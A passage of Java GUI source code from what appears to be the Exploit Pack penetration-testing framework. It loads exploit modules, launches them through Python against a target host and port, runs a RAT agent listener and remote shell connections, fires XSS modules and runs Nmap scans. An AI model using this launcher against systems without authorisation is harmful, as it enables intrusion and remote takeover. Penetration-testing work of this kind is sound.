            exploit.setRemotePort(NewXMLNode.RemotePort);
            exploit.setShellcodeAvail(NewXMLNode.ShellcodeAvailable);
            exploit.setInformation(NewXMLNode.Information);
            exploit.setSpecialArgs(NewXMLNode.SpecialArgs);
            exploit.setAuthor(NewXMLNode.Author);
            exploit.setVulnerability(NewXMLNode.Vulnerability);
            exploit.setTargets(NewXMLNode.Targets);

            jTextFieldTargetP.setText(xssAgent.getId());
            jTextFieldLocalHost.setText(exploit.getSpecialArgs().replaceAll("%20", " "));
            jTextFieldshellPort.setText(jTextFieldTargetH.getText() + ":" + exploit.getRemotePort().replaceAll("%20", " "));
            jTextFieldExtraOptions.setText(exploit.getShellcodePort().replaceAll("%20", " "));

            if (exploit.getPlatform().equals("xss")) {
                try {
                    jLabel8.setText("Remote OS:");
                    jLabel8.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/application.png")));
                    jLabel7.setText("Remote IP:");
                    jLabel7.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/networking.png")));
                    jLabel6.setText("Browser:");
                    jLabel6.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/world.png")));
                    jLabel2.setText("ID Full:");
                    jLabel2.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/agent.png")));
                    jLabel3.setText("Cookie:");
                    jLabel3.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/cookie.png")));
                    jButton18.setText("Gremlins attack");
                    jButton18.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/bugbug.png")));

                    StringBuilder sb;
                    try (BufferedReader fileInput = new BufferedReader(new FileReader("exploits/code/" + jTextFieldTargetH.getText() + ".js"))) {
                        String text = null;
                        sb = new StringBuilder();
                        do {
                            if (text != null) {
                                sb.append(text).append("\n");
                            }
                        } while ((text = fileInput.readLine()) != null);

                    }
                    jTextAreaModuleEditor.setText(sb.toString());
                    jTextAreaModuleEditor.setCaretPosition(0);
                    jButtonExecution.setText("Exploit & Save");

                } catch (IOException e1) {
                    Logger.getLogger(MainFrame.class
                            .getName()).log(Level.SEVERE, null, e1);
                }
            }
            if (ExploitSelection.contains("- Shell")) {
                jButtonExecution.setText("Remote shell");
                jTextFieldTargetH.setText(ExploitSelection.replace("- Shell", "").replace(".xml", ""));
            }
        } catch (Exception e) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, e);
        }
    }//GEN-LAST:event_jTreeRATValueChanged

    private void jTreeExploitsMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTreeExploitsMouseClicked
        // TODO add your handling code here:
        jButtonExecution.setText("Exploit & Save");
    }//GEN-LAST:event_jTreeExploitsMouseClicked

    private void jTreeExploitsValueChanged(javax.swing.event.TreeSelectionEvent evt) {//GEN-FIRST:event_jTreeExploitsValueChanged
        jTabbedPane.setSelectedIndex(0);
        String ExploitSelection = evt.getPath().getPath()[2].toString();
        jProgressBarModuleStatus.setValue(0);

        if (!"Local hostname:".equals(jLabel8.getText())) {
            jLabel8.setText("Local hostname:");
            jLabel8.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/home.png"))); // NOI18N
            jLabel7.setText("Shell data/port:");
            jLabel7.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/localport.png"))); // NOI18N
            jLabel6.setText("Special args:");
            jLabel6.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/options.png"))); // NOI18N
            jLabel2.setText("Target:");
            jLabel2.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/target.png"))); // NOI18N
            jLabel3.setText("Path:");
            jLabel3.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/port.png"))); // NOI18N
        } else {
            jButton18.setText("Run on terminal");
            jButton18.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_terminal_298878.png")));
        }
        try {
            jTreeRAT.setSelectionRow(-1);

        } catch (Exception e) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.INFO, null, e);
        }

        // Check if the selected item is part of these categories
        if (ExploitSelection.equals("Exploits")
                || ExploitSelection.equals("Windows")
                || ExploitSelection.equals("BSD")
                || ExploitSelection.equals("Unix")
                || ExploitSelection.equals("Linux")
                || ExploitSelection.equals("Tools")
                || ExploitSelection.equals("Search")
                || ExploitSelection.equals("History")
                || ExploitSelection.equals("Personal")
                || ExploitSelection.startsWith("RAT")
                || Character.isDigit(ExploitSelection.charAt(0))
                || ExploitSelection.equals("Data")) {
        } else {
            if (LastTreeItemSelected != null) {
                DefaultTreeCellRenderer renderer = new DefaultTreeCellRenderer();
                renderer.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
                renderer.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/folderselect.png"))));
                renderer.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/scriptselect.png"))));
                //selectedElement.setUserObject(renderer);
            }
            DefaultTreeCellRenderer renderer = new DefaultTreeCellRenderer();
            renderer.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
            renderer.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/folderselect.png"))));
            renderer.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/scriptnormal.png"))));
            //selectedElement.setUserObject(renderer);

            //jTreeExploits.setCellRenderer(renderer);
            LastTreeItemSelected = ExploitSelection;

            // QuickInformation
            ExploitSelection = ExploitSelection.concat(".xml");

            // Clean QuickInformation
            jTextAreaQuickInfo.setText("");

            // Start de la clase main de XMLTreenode
            NewXMLNode.main(null, ExploitSelection);
            jTextAreaQuickInfo.append("Exploit Name: "
                    + NewXMLNode.ExploitName + "\n");
            jTextAreaQuickInfo.append("Author of this module: "
                    + NewXMLNode.Author + "\n");
            jTextAreaQuickInfo.append("Type of exploit: "
                    + NewXMLNode.ExploitType + "\n");
            jTextAreaQuickInfo.append("CVE ( Mitre ID ): "
                    + NewXMLNode.Vulnerability + "\n");
            jTextAreaQuickInfo.append("Disclosure Date: "
                    + NewXMLNode.Date + "\n");
            jTextAreaQuickInfo.append("Platform: "
                    + NewXMLNode.Platform);
            jTextAreaQuickInfo.append(NewXMLNode.Information);
            jTextAreaQuickInfo.setCaretPosition(0);

            // Set new instance of exploit
            exploit.setModuleName(NewXMLNode.ExploitName);
            exploit.setCodeName(NewXMLNode.CodeName);
            exploit.setType(NewXMLNode.ExploitType);
            exploit.setPlatform(NewXMLNode.Platform);
            exploit.setService(NewXMLNode.Service);
            exploit.setShellcodePort(NewXMLNode.ShellPort);
            exploit.setRemotePort(NewXMLNode.RemotePort);
            exploit.setShellcodeAvail(NewXMLNode.ShellcodeAvailable);
            exploit.setInformation(NewXMLNode.Information);
            exploit.setSpecialArgs(NewXMLNode.SpecialArgs);
            exploit.setAuthor(NewXMLNode.Author);
            exploit.setVulnerability(NewXMLNode.Vulnerability);
            exploit.setTargets(NewXMLNode.Targets);
            jTextFieldshellPort.setText(NewXMLNode.ShellPort);
            jTextFieldTargetP.setText(NewXMLNode.RemotePort);

            // Set shellcodes for comboshell
            jComboBoxShellcode.removeAllItems();
            // Load available shellcodes
            if (NewXMLNode.ShellcodeAvailable.contains("R")) {
                jComboBoxShellcode.addItem("Remote Shell");
            }
            if (NewXMLNode.ShellcodeAvailable.contains("E")) {
                jComboBoxShellcode.addItem("Execute Code");
            }
            if (NewXMLNode.ShellcodeAvailable.contains("C")) {
                jComboBoxShellcode.addItem("Command");
            }
            if (NewXMLNode.ShellcodeAvailable.contains("L")) {
                jComboBoxShellcode.addItem("Local Shell");
            }
            jComboBoxShellcode.repaint();

            try {
                StringBuilder sb;
                try (BufferedReader fileInput = new BufferedReader(new FileReader("exploits/code/" + exploit.getCodeName()))) {
                    String text = null;
                    sb = new StringBuilder();
                    do {
                        if (text != null) {
                            sb.append(text).append("\n");
                        }
                    } while ((text = fileInput.readLine()) != null);

                }
                jTextAreaModuleEditor.setText(sb.toString());
                jTextAreaModuleEditor.setCaretPosition(0);
                jButtonExecution.setText("Exploit & Save");

            } catch (IOException e1) {
                Logger.getLogger(MainFrame.class
                        .getName()).log(Level.SEVERE, null, e1);
            }
        }
    }//GEN-LAST:event_jTreeExploitsValueChanged

    private void jTreeToolsMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTreeToolsMouseClicked
        // TODO add your handling code here:
        jButtonExecution.setText("Execute Auxiliary");
    }//GEN-LAST:event_jTreeToolsMouseClicked

    private void jTreeToolsValueChanged(javax.swing.event.TreeSelectionEvent evt) {//GEN-FIRST:event_jTreeToolsValueChanged
        // TODO add your handling code here:
        jTabbedPane.setSelectedIndex(0);
        jButtonExecution.setText("Execute Auxiliary");
        jTreeRAT.setSelectionRow(-1);
        String ExploitSelection = evt.getPath().getPath()[2].toString();
        ExploitSelection = ExploitSelection.concat(".xml");
        // Clean QuickInformation
        jTextAreaQuickInfo.setText("");
        //Check for icons and labels   

        if (!"Local hostname:".equals(jLabel8.getText())) {
            jLabel8.setText("Local hostname:");
            jLabel8.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/home.png"))); // NOI18N
            jLabel7.setText("Shell data/port:");
            jLabel7.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/localport.png"))); // NOI18N
            jLabel6.setText("Special args:");
            jLabel6.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/options.png"))); // NOI18N
            jLabel2.setText("Target:");
            jLabel2.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/target.png"))); // NOI18N
            jLabel3.setText("Path:");
            jLabel3.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/port.png"))); // NOI18N
        }
        // Start de la clase main de XMLTreenode
        NewXMLNode.main(null, ExploitSelection);
        jTextAreaQuickInfo.append("Exploit Name: "
                + NewXMLNode.ExploitName + "\n");
        jTextAreaQuickInfo.append("Author of this module: "
                + NewXMLNode.Author + "\n");
        jTextAreaQuickInfo.append("Type of exploit: "
                + NewXMLNode.ExploitType + "\n");
        jTextAreaQuickInfo.append("CVE ( Mitre ID ): "
                + NewXMLNode.Vulnerability + "\n");
        jTextAreaQuickInfo.append("Disclosure Date: "
                + NewXMLNode.Date);
        jTextAreaQuickInfo.append(NewXMLNode.Information);
        jTextAreaQuickInfo.setCaretPosition(0);

        // Set new instance of exploit
        exploit.setModuleName(NewXMLNode.ExploitName);
        exploit.setCodeName(NewXMLNode.CodeName);
        exploit.setType(NewXMLNode.ExploitType);
        exploit.setPlatform(NewXMLNode.Platform);
        exploit.setService(NewXMLNode.Service);
        exploit.setShellcodePort(NewXMLNode.ShellPort);
        exploit.setRemotePort(NewXMLNode.RemotePort);
        exploit.setShellcodeAvail(NewXMLNode.ShellcodeAvailable);
        exploit.setInformation(NewXMLNode.Information);
        exploit.setSpecialArgs(NewXMLNode.SpecialArgs);
        exploit.setAuthor(NewXMLNode.Author);
        exploit.setVulnerability(NewXMLNode.Vulnerability);
        exploit.setTargets(NewXMLNode.Targets);

        try {
            StringBuilder sb;
            try (BufferedReader fileInput = new BufferedReader(new FileReader("exploits/code/" + exploit.getCodeName()))) {
                String text = null;
                sb = new StringBuilder();
                do {
                    if (text != null) {
                        sb.append(text).append("\n");
                    }
                } while ((text = fileInput.readLine()) != null);

            }
            jTextAreaModuleEditor.setText(sb.toString());
            jTextAreaModuleEditor.setCaretPosition(0);

        } catch (IOException e1) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, e1);
        }
    }//GEN-LAST:event_jTreeToolsValueChanged

    private void jButton4ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton4ActionPerformed
        // TODO add your handling code here:
        NewProject.main(null);
    }//GEN-LAST:event_jButton4ActionPerformed

    private void jButton10ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton10ActionPerformed
        // TODO add your handling code here:
        ViewLog.main(null);
    }//GEN-LAST:event_jButton10ActionPerformed

    private void jButton12ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton12ActionPerformed
        // TODO add your handling code here:
        UpdateManager.main(null);
    }//GEN-LAST:event_jButton12ActionPerformed

    private void jButton13ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton13ActionPerformed
        // TODO add your handling code here:
        ShellWizard.main(null);
    }//GEN-LAST:event_jButton13ActionPerformed

    private void jButton14ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton14ActionPerformed
        // TODO add your handling code here:
        AutoPwn.main(null);
    }//GEN-LAST:event_jButton14ActionPerformed

    private void jButtonExecutionActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButtonExecutionActionPerformed
        try {
            // Check if there is something selected
            if (jButtonExecution.getText().equals("Execute Module")) {
                JOptionPane.showMessageDialog(null, "Please choose a module.", "Exploit Pack says:", JOptionPane.ERROR_MESSAGE);
                return;
            }

            if (exploit.getPlatform().equals("xss")) {
                File fileXSS = new File("exploits/code/"
                        + exploit.getCodeName() + ".js");
                BufferedWriter outputXSS;
                outputXSS = new BufferedWriter(
                        new FileWriter(fileXSS));
                outputXSS.write(jTextAreaModuleEditor.getText());
                outputXSS.close();

                // Save XSS
                File file = new File("exploits/code/" + exploit.getCodeName());
                try (FileWriter fileWriter = new FileWriter(file)) {
                    fileWriter.write("Flow(\"executed\")" + jTextAreaModuleEditor.getText());
                } catch (IOException e) {
                }
            } else {
                // Save Exploit
                File file = new File("exploits/code/" + exploit.getCodeName());
                try (FileWriter fileWriter = new FileWriter(file)) {
                    fileWriter.write(jTextAreaModuleEditor.getText());
                } catch (IOException e) {
                }
            }

            // Launch Reverse Shell Client
            if (exploit.getPlatform().equals("rat")) {
                String cmd = pythonpath + " data/agent/agentserver.py " + jTextFieldExtraOptions.getText();
                Runtime.getRuntime().exec(cmd);

                sockRemoteShell = ssock.accept();
                PrintWriter s_out = null;
                s_out = new PrintWriter(sockRemoteShell.getOutputStream(), true);
                s_out.println(jTextFieldTargetH.getText() + ":" + jTextFieldshellPort.getText());

                // Exec wav RAT
                AudioInputStream s;
                AudioFormat f;
                DataLine.Info i;
                File inputFile = new File("data/newconnectiontorat.wav");
                Clip c;
                s = AudioSystem.getAudioInputStream(inputFile);
                f = s.getFormat();
                i = new DataLine.Info(Clip.class, f);
                c = (Clip) AudioSystem.getLine(i);
                c.open(s);
                c.start();
                jProgressBarModuleStatus.setValue(100);
            } else if (jButtonExecution.getText().equals("Remote shell")) {
                Connect.main(null, jTextFieldTargetH.getText().toString().replaceAll("- Shell", ""), jTextFieldshellPort.getText());

            }

            // Launch scanner
            if (exploit.getModuleName().equals("Nmap-scanner")) {
                final Thread scannerThread;
                scannerThread = new Thread("scannerThread") {
                    @Override
                    public void run() {
                        try {
                            // Exec wav
                            AudioInputStream sourceAux;
                            AudioFormat f;
                            DataLine.Info inputAux;
                            File inputFileAux = new File("data/newauxiliarydeployed.wav");
                            Clip c;
                            sourceAux = AudioSystem.getAudioInputStream(inputFileAux);
                            f = sourceAux.getFormat();
                            inputAux = new DataLine.Info(Clip.class, f);
                            c = (Clip) AudioSystem.getLine(inputAux);
                            c.open(sourceAux);
                            c.start();

                            // Exec scan
                            JOptionPane.showMessageDialog(null, "Please wait, the scan could take a few minutes", "Exploit Pack says:", JOptionPane.INFORMATION_MESSAGE);
                            jProgressBarModuleStatus.setValue(40);
                            jLabel10.setText("Running Nmap..");
                            String cmd = nmappath + " " + ScannerOptions + " " + jTextFieldTargetH.getText() + " -oA log/" + jTextFieldTargetH.getText();
                            String line;
                            OutputStream stdin = null;
                            InputStream stderr = null;
                            InputStream stdout = null;
                            processFuzzer = Runtime.getRuntime().exec(cmd);
                            stdin = processFuzzer.getOutputStream();
                            stderr = processFuzzer.getErrorStream();
                            stdout = processFuzzer.getInputStream();

                            // "write" the parms into stdin
                            //stdin.write(line.getBytes());
                            stdin.flush();
                            stdin.close();

                            // Obtain local time
                            Format formatter;
                            Date date = new Date();
                            formatter = new SimpleDateFormat("HH:mm:ss");
                            LogTime = formatter.format(date);
                            jTextAreaDebugging.append("[" + LogTime + "]" + " Your nmap session has been initiated.\n");
                            jTextAreaDebugging.append("[" + LogTime + "]" + " Log saved as: segfault.log\" \n");
                            // clean up if any output in stdout
                            BufferedReader brCleanUp
                                    = new BufferedReader(new InputStreamReader(stdout));
                            while ((line = brCleanUp.readLine()) != null) {
                                //   System.out.println(line + "\n");
                            }

                            brCleanUp.close();
                            jProgressBarModuleStatus.setValue(85);
                            jLabel10.setText("Running Nmap..");
                            DefaultTreeModel modelScanner = (DefaultTreeModel) jTreeRemoteScanner.getModel();
                            DefaultMutableTreeNode rootScanner = (DefaultMutableTreeNode) modelScanner.getChild(modelScanner.getRoot(), 0);
                            rootScanner.add(new DefaultMutableTreeNode("Target: " + jTextFieldTargetH.getText()));
                            jTreeRemoteScanner.expandRow(0);
                            modelScanner.reload(rootScanner);
                            jProgressBarModuleStatus.setValue(80);
                            DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
                            DocumentBuilder dBuilder;
                            dBuilder = dbFactory.newDocumentBuilder();
                            Document doc = dBuilder.parse(new File("log/" + jTextFieldTargetH.getText() + ".xml"));
                            doc.getDocumentElement().normalize();
                            NodeList nList = doc.getElementsByTagName("port");
                            String openports = null;
                            for (int temp = 0; temp < nList.getLength(); temp++) {
                                Node nNode = nList.item(temp);
                                if (nNode.getNodeType() == Node.ELEMENT_NODE) {
                                    Element eElement = (Element) nNode;
                                    DefaultTreeModel modelModuleStatus = (DefaultTreeModel) jTreeRemoteScanner.getModel();
                                    DefaultMutableTreeNode rootStatus = (DefaultMutableTreeNode) modelModuleStatus.getChild(modelModuleStatus.getRoot(), 0);

                                    rootStatus.add(new DefaultMutableTreeNode("Open "
                                            + eElement
                                                    .getAttribute("protocol")
                                            + " / "
                                            + eElement
                                                    .getAttribute("portid")));
                                    jTreeRemoteScanner.expandRow(0);
                                    modelModuleStatus.reload(rootStatus);

                                    // Create target
                                    FileWriter fstream = null;
                                    try {
                                        String name = jTextFieldTargetH.getText();
                                        fstream = new FileWriter("exploits/" + name + ".xml");
                                        BufferedWriter out = new BufferedWriter(fstream);
                                        java.util.Date date1 = new java.util.Date();
                                        out.write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
                                        out.write("<Module><Exploit NameXML=\""
                                                + name
                                                + "\" CodeName=\"" + name + ".txt" + "\"  Platform=\"" + "windows" + "\" Service=\"" + "" + "\" Type=\"" + "notepad" + "\" RemotePort=\"" + "" + "\" LocalPort=\"\" ShellcodeAvailable=\"" + "" + "\" ShellPort=\"4444\" SpecialArgs=\"" + "" + "\"></Exploit>");
                                        out.write("<Information Author=\"" + "ExploitPack" + "\" Date=\""
                                                + new Timestamp(date1.getTime())
                                                + "\" Vulnerability=\""
                                                + "none"
                                                + "\">\r\n" + "" + "</Information><Targets>" + "" + "</Targets></Module>");
                                        out.close();
                                        fstream = new FileWriter("exploits/code/" + name + ".txt");
                                        BufferedWriter outCode = new BufferedWriter(fstream);
                                        FileReader fstreamRead = null;

                                        fstreamRead = new FileReader("log/" + jTextFieldTargetH.getText() + ".nmap");
                                        BufferedReader in = new BufferedReader(fstreamRead);
                                        String stringToAppend;
                                        while ((stringToAppend = in.readLine()) != null) {
                                            pentestNote.append(stringToAppend + "\n");

                                        }
                                        outCode.write(pentestNote.toString().replaceAll("^,", "").replaceAll(",,", ",").replaceAll(",$", "").replaceAll("null", ""));
                                        pentestNote.insert(0, "# Pentest notes for: " + jTextFieldTargetH.getText() + " [Exploit Pack]" + "\n");
                                        outCode.close();

                                    } catch (IOException ex) {
                                        Logger.getLogger(MainFrame.class
                                                .getName()).log(Level.SEVERE, null, ex);
                                    } finally {
                                        try {
                                            fstream.close();

                                        } catch (IOException ex) {
                                            Logger.getLogger(MainFrame.class
                                                    .getName()).log(Level.SEVERE, null, ex);
                                        }
                                    }
                                }
                            }
                            jMenuItem12.doClick();
                            jProgressBarModuleStatus.setValue(100);
                            jLabel10.setText("Module status:");

                            File inputFileAux1 = new File("data/scanner.wav");
                            sourceAux = AudioSystem.getAudioInputStream(inputFileAux1);
                            f = sourceAux.getFormat();
                            inputAux = new DataLine.Info(Clip.class, f);
                            c = (Clip) AudioSystem.getLine(inputAux);
                            c.open(sourceAux);
                            c.start();
                            JOptionPane.showMessageDialog(null, jTextFieldTargetH.getText() + " added successfully to your targets.", "Exploit Pack says:", JOptionPane.INFORMATION_MESSAGE);

                        } catch (IOException | SAXException | ParserConfigurationException ex) {
                            Logger.getLogger(MainFrame.class
                                    .getName()).log(Level.SEVERE, null, ex);
                            System.out.println(ex);
                            JOptionPane.showMessageDialog(null, "Nmap not found on your system, please check your preferences.", "Exploit Pack says:", JOptionPane.ERROR_MESSAGE);

                        } catch (UnsupportedAudioFileException | LineUnavailableException ex) {
                            Logger.getLogger(MainFrame.class
                                    .getName()).log(Level.SEVERE, null, ex);
                            System.out.println(ex);

                        }
                    }
                };
                scannerThread.start();
            }

            // Launch Exploit
            if (exploit.getType().equals("remote") || exploit.getType().equals("local") || exploit.getType().equals("clientside")) {
                // Exec wav Exploit
                AudioInputStream s;
                AudioFormat f;
                DataLine.Info i;
                File inputFile = new File("data/newexploit.wav");
                Clip c;
                s = AudioSystem.getAudioInputStream(inputFile);
                f = s.getFormat();
                i = new DataLine.Info(Clip.class, f);
                c = (Clip) AudioSystem.getLine(i);
                c.open(s);
                c.start();

                // Shellcode Remote Shell
                if (jComboBoxShellcode.getSelectedItem().toString().equals("Remote Shell")) {
                    ShellcodeSelected = "R";
                    boolean ratNew = false;

                    DefaultTreeModel modelRAT = (DefaultTreeModel) jTreeRAT.getModel();
                    DefaultMutableTreeNode rootRAT = (DefaultMutableTreeNode) modelRAT.getChild(modelRAT.getRoot(), 0);

                    ArrayList ratList = new ArrayList();
                    DefaultMutableTreeNode rootRATcheck = rootRAT.getNextNode();

                    for (int e = 0; e < rootRAT.getChildCount(); e++) {
                        ratList.add(rootRATcheck.getParent().getChildAt(e).toString());
                    }
                    if (!ratList.contains((jTextFieldTargetH.getText() + "- Shell"))) {
                        ratNew = true;
                    }
                    if (ratNew) {
                        rootRAT.add(new DefaultMutableTreeNode(jTextFieldTargetH.getText() + "- Shell"));
                        jTreeRAT.expandRow(0);
                        modelRAT.reload(rootRAT);
                    }

                }
                // Shellcode execute code
                if (jComboBoxShellcode.getSelectedItem().toString().equals("Execute Code")) {
                    ShellcodeSelected = "";
                }
                // Shellcode command
                if (jComboBoxShellcode.getSelectedItem().toString().equals("Command")) {
                    ShellcodeSelected = "C";
                }
                // Shellcode local
                if (jComboBoxShellcode.getSelectedItem().toString().equals("Local Shell")) {
                    ShellcodeSelected = "L";
                }
                // Shellcode local
                if (jComboBoxShellcode.getSelectedItem().toString().equals("Shelcode..")
                        || jComboBoxShellcode.getSelectedItem().toString().equals("")) {
                    ShellcodeSelected = "N";
                }

                if ("touch /tmp/ep".equals(jTextFieldExtraOptions.getText())) {
                    jTextFieldExtraOptions.setText("");
                }

                // Set exec options for remote
                if (exploit.getType().equals("remote")) {
                    runModule = pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/exploits/code/" + exploit.getCodeName() + " " + jTextFieldTargetH.getText() + " " + jTextFieldTargetP.getText() + " " + ShellcodeSelected;
                }
                // Set exec options for clientside
                if (exploit.getType().equals("clientside")) {
                    runModule = pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/exploits/code/" + exploit.getCodeName();
                    // Add location information to ShellcodeConsole
                    jTextAreaShellcode
                            .append("New client-side exploit file created\n");
                    jTextAreaShellcode
                            .append("Files are usually alocated at path: exploits/code/output/\n");

                }
                // Set exec options for local
                if (exploit.getType().equals("local")) {
                    runModule = pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/exploits/code/" + exploit.getCodeName();
                }

                jTextAreaDebugging.append((runModule + "\n"));

                final Thread exploitThread;
                exploitThread = new Thread("exploitThread") {
                    @Override
                    public void run() {
                        try {
                            String line;
                            OutputStream stdin = null;
                            InputStream stderr = null;
                            InputStream stdout = null;

                            // launch EXE and grab stdin/stdout and stderr
                            Process process = Runtime.getRuntime().exec(runModule);
                            stdin = process.getOutputStream();
                            stderr = process.getErrorStream();
                            stdout = process.getInputStream();

                            // "write" the parms into stdin
                            //stdin.write(line.getBytes());
                            stdin.flush();
                            stdin.close();

                            // Obtain local time
                            Format formatter;
                            Date date = new Date();
                            formatter = new SimpleDateFormat("HH:mm:ss");
                            LogTime = formatter.format(date);
                            jTextAreaShellcode.append("[" + LogTime + "]" + " Your exploit: " + exploit.getModuleName() + " has been executed.\n");
                            jTextAreaShellcode.append("[" + LogTime + "]" + " Output messages from your exploit:\n");
                            // clean up if any output in stdout
                            BufferedReader brCleanUp
                                    = new BufferedReader(new InputStreamReader(stdout));
                            while ((line = brCleanUp.readLine()) != null) {
                                jTextAreaShellcode.append(line + "\n");
                            }
                            brCleanUp.close();

                            // clean up if any output in stderr
                            brCleanUp
                                    = new BufferedReader(new InputStreamReader(stderr));
                            while ((line = brCleanUp.readLine()) != null) {
                                jTextAreaShellcode.append(line + "\n");
                            }

                            brCleanUp.close();

                            // Leave the execution to Python!
                            // ProcessBuilder pb = new ProcessBuilder("python", "run.py");
                            //Process p = pb.start();
                            //p.waitFor();
                            //if (!p.isAlive()) {
                            //   File f = new File("run.py");
                            //    f.delete();
                            // }
                            DefaultTreeModel modelStatus = (DefaultTreeModel) jTreeModuleStatus.getModel();
                            DefaultMutableTreeNode rootStatus = (DefaultMutableTreeNode) modelStatus.getChild(modelStatus.getRoot(), 0);
                            rootStatus.add(new DefaultMutableTreeNode(exploit.getCodeName()));
                            jTreeModuleStatus.expandRow(0);
                            modelStatus.reload(rootStatus);

                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
                };
                jProgressBarModuleStatus.setValue(100);
                exploitThread.start();
                try {
                    EPLogger.log("EXPLOIT NAME: " + exploit.getModuleName());
                    EPLogger.log("EXPLOIT TYPE: " + exploit.getType());
                    EPLogger.log("EXPLOIT PLATFORM: " + exploit.getPlatform());
                    EPLogger.log("EXPLOIT DESCRIPTION: " + exploit.getInformation().replaceAll("[\n\r]", ""));

                } catch (Exception e) {
                    Logger.getLogger(MainFrame.class
                            .getName()).log(Level.INFO, null, e);

                }
            }
        } catch (UnsupportedAudioFileException | IOException | LineUnavailableException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jButtonExecutionActionPerformed

    private void jMenuItem14ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem14ActionPerformed
        // TODO add your handling code here:
        Preferences.main(null);
    }//GEN-LAST:event_jMenuItem14ActionPerformed

    private void jMenuItem13ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem13ActionPerformed
        // TODO add your handling code here:
        if (!SplashScreen.filepath) {
            JOptionPane.showMessageDialog(null, "Sorry, this feature it's only available on the Premium version.\nGet your license now from: http://exploitpack.com", "Exploit Pack says:", JOptionPane.INFORMATION_MESSAGE);
            return;
        }
        AutoPwn.main(null);
    }//GEN-LAST:event_jMenuItem13ActionPerformed

    private void formWindowClosed(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosed
        // TODO add your handling code here:
        System.exit(0);
    }//GEN-LAST:event_formWindowClosed

    private void jButton21ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton21ActionPerformed
        // TODO add your handling code here:
        Notepad.main(null);
    }//GEN-LAST:event_jButton21ActionPerformed

    private void jMenuItem48ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem48ActionPerformed
        // TODO add your handling code here:
        ExploitWizard.main(null);
    }//GEN-LAST:event_jMenuItem48ActionPerformed

    private void jButton3ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton3ActionPerformed
        try {

            String filename = "";

            JFileChooser fileChooser = new JFileChooser(new File(filename));
            fileChooser.showSaveDialog(this);
            // Read file
            FileReader fstream = new FileReader(fileChooser.getSelectedFile().toString());
            BufferedReader in = new BufferedReader(fstream);
            String stringToAppend;
            while ((stringToAppend = in.readLine()) != null) {
                if (stringToAppend.contains("Project name:")) {
                    jTextFieldProjectN.setText(stringToAppend.replace("Project name:", "").trim());
                }
                if (stringToAppend.contains("Target IP/URL:")) {
                    jTextFieldTargetH.setText(stringToAppend.replace("Target IP/URL:", "").trim());
                }
            }
            // Close the output stream
            in.close();

        } catch (Exception ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jButton3ActionPerformed

    private void jMenuItem3ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem3ActionPerformed
        // TODO add your handling code here:
        String filename = "";
        // TODO add your handling code here:
        JFileChooser fileChooser = new JFileChooser(new File(filename));
        fileChooser.showSaveDialog(this);
        //jTextFieldPythonPath.setText(fileChooser.getSelectedFile().toString());
    }//GEN-LAST:event_jMenuItem3ActionPerformed

    private void jMenuItem12ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem12ActionPerformed
